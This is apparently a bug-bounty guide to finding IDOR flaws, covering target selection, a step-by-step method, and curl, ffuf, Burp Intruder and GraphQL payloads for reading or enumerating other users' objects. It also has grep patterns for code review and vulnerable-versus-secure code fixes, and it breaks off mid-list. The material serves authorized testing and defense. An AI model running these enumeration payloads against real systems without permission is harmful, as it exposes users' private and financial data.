Crown Jewel Targets
Why IDOR pays big:
- Direct access to other users' data without authentication bypass — clear, demonstrable impact
- Chains easily with privilege escalation, financial fraud, and account takeover
- Affects virtually every application with user-owned resources
Highest-value asset types (by payout potential):
| Asset Type | Why It Pays |
|---|---|
| Financial documents / billing APIs | PII + financial data exposure (Shopify, Uber, PayPal) |
| Private repositories / source code | IP theft, critical data loss (GitHub) |
| User messages / DMs | Privacy violation at scale (Reddit) |
| Account management endpoints | User addition, deletion, privilege escalation (PayPal, Mozilla) |
| Business/org administration | Cross-tenant escalation, employee PII (Uber) |
| Content moderation/admin actions | Operational sabotage (Reddit mod logs) |
Programs that pay most for IDOR:
- Platforms with multi-tenancy (SaaS, B2B tools)
- Fintech and payment processors
- Social platforms with private content
- Developer tools with org/repo isolation
Attack Surface Signals
URL patterns that scream IDOR:
/api/v1/users/{id}/
/api/v*/orders/{order_id}
/invoices/download?id=
/reports/{uuid}/
/messages/{thread_id}
/admin/orgs/{org_id}/members
/migration/{migration_id}/files
/graphql (query params with IDs)
/api/business/{business_id}/
/vouchers/{voucher_id}/policy
Response header signals:
Content-Type: application/jsonon endpoints accepting raw IDs- No
X-Frame-Optionsor CORS misconfigs paired with ID params Authorization: Bearertokens that are user-scoped but hit org-level resources
JavaScript source patterns:
// Look for hardcoded or interpolated IDs in JS
fetch(`/api/v1/users/${userId}/profile`)
axios.get('/invoices/' + invoiceId)
graphql query { billingDocument(id: $docId) }
// Redux/state stores exposing foreign IDs
state.currentUser.organizationId
Tech stack signals:
- GraphQL endpoints (query-based IDORs are often missed)
- REST APIs with sequential integer IDs (most vulnerable)
- UUIDs that are predictable or leaked in other responses
- Multi-tenant SaaS apps with
org_id,account_id,business_idparams - Mobile apps (Burp the APK — mobile APIs often skip authorization checks)
Step-by-Step Hunting Methodology
-
Map all object references in the application
- Browse every feature authenticated as User A
- Capture all requests in Burp Suite
- Filter for requests containing:
id=,_id=,uuid=,/v1/{noun}/{id}, query params with numeric/UUID values
-
Enumerate ID types
- Sequential integers → enumerate ±1, ±100
- UUIDs → check if they appear in other responses or JS files
- Hashed IDs → check if leaked in public endpoints, metadata, or GraphQL introspection
-
Create two separate accounts (same privilege level)
- User A: resource owner
- User B: attacker account
- Log all IDs belonging to User A while authenticated as User A
-
Replay User A's resource IDs as User B
- Replace session cookie/token with User B's credentials
- Send identical requests referencing User A's object IDs
- Test ALL HTTP verbs: GET, POST, PUT, PATCH, DELETE on each endpoint
-
Test cross-tenant/cross-org scenarios
- Create accounts in separate organizations/businesses
- Test if Org B's session can reference Org A's IDs
- Pay special attention to admin/management endpoints
-
Test GraphQL specifically
- Run introspection:
{ __schema { queryType { fields { name } } } } - For every query/mutation taking an
idargument, substitute another user's ID - Test both queries (read) and mutations (write/delete)
- Run introspection:
-
Test write/destructive operations, not just reads
- Can User B DELETE User A's resources?
- Can User B MODIFY User A's content?
- Can User B ADD themselves to User A's account?
-
Chain IDORs together
- Use one IDOR's leaked data (org IDs, user IDs) to fuel the next
- IDOR → leaked ID → second IDOR → privilege escalation
-
Test state-changing edge cases
- Expired tokens/invites that can still be accepted
- Race conditions on resource IDs
- Indirect references:
?sort=idor?filter[user_id]=
-
Document the exact differential
- Confirm User B has NO legitimate access to User A's resource
- Screenshot/log the 200 OK vs expected 403/404
Payload & Detection Patterns
Basic IDOR test with curl (swap cookie/token):
# Get User A's resource ID while authenticated as A
curl -s -H "Cookie: session=USER_A_SESSION" \
https://target.com/api/v1/invoices/12345
# Replay with User B's session
curl -s -H "Cookie: session=USER_B_SESSION" \
https://target.com/api/v1/invoices/12345
# Success = 200 OK with User A's data
GraphQL IDOR test:
curl -s -X POST https://target.com/graphql \
-H "Authorization: Bearer USER_B_TOKEN" \
-H "Content-Type: application/json" \
-d '{"query":"{ billingDocument(id: \"USER_A_DOC_ID\") { id amount pdfUrl } }"}'
Enumerate sequential IDs with ffuf:
ffuf -u "https://target.com/api/v1/orders/FUZZ" \
-w ids.txt \
-H "Authorization: Bearer USER_B_TOKEN" \
-mc 200 \
-o idor_results.json
Generate sequential ID wordlist:
# Generate IDs around a known value
known_id = 48291
with open("ids.txt", "w") as f:
for i in range(known_id - 500, known_id + 500):
f.write(str(i) + "\n")
Burp Intruder payload for IDOR scanning:
GET /api/messages/§12345§ HTTP/1.1
Host: target.com
Authorization: Bearer USER_B_TOKEN
# Mark §12345§ as injection point
# Use numeric sequential payload: 12000-13000
# Filter responses by length difference or status 200
JavaScript scraping for leaked IDs:
# Find IDs in JS bundles
curl -s https://target.com/static/app.js | grep -Eo '"id":"[a-f0-9-]{36}"' | sort -u
# Find object references in API responses
curl -s -H "Cookie: session=USER_A" \
https://target.com/api/v1/dashboard | python3 -m json.tool | grep -i "_id"
Grep patterns for source code review:
# Missing authorization checks in common frameworks
grep -r "findById\|findOne\|getById" --include="*.js" .
grep -r "params\[:id\]\|params\['id'\]" --include="*.rb" .
grep -r "request\.args\.get\('id'\)" --include="*.py" .
# Look for direct ORM queries without user scoping
grep -r "Model\.find(params" --include="*.js" .
# vs secure pattern: Model.find({ id: params.id, userId: req.user.id })
IDOR via HTTP method tampering:
# Try undocumented methods
for method in GET POST PUT PATCH DELETE OPTIONS HEAD; do
echo "=== $method ==="
curl -s -X $method \
-H "Authorization: Bearer USER_B_TOKEN" \
https://target.com/api/v1/users/USER_A_ID/profile
done
Common Root Causes
-
Missing ownership check in ORM queries
// VULNERABLE: fetches any record const invoice = await Invoice.findById(req.params.id); // SECURE: scopes to authenticated user const invoice = await Invoice.findOne({ _id: req.params.id, userId: req.user.id }); -
Authorization at the route level, not object level
- Developer checks "is user logged in?" but not "does this user own this object?"
- Middleware confirms authentication; individual handlers skip ownership validation
-
Trusting client-supplied IDs in request bodies
- Mobile apps or SPAs send
org_idin POST body; server uses it directly without verifying caller belongs to that org
- Mobile apps or SPAs send
-
GraphQL resolvers without field-level authorization
- Query resolvers fetch by ID from database without checking if the requesting user has permission
- Especially common when resolvers are auto-generated from schema
-
Inconsistent authorization across HTTP verbs
- GET endpoint is protected; POST/DELETE on same resource path is not
- Common in APIs built incrementally by different developers
-
**Indirect r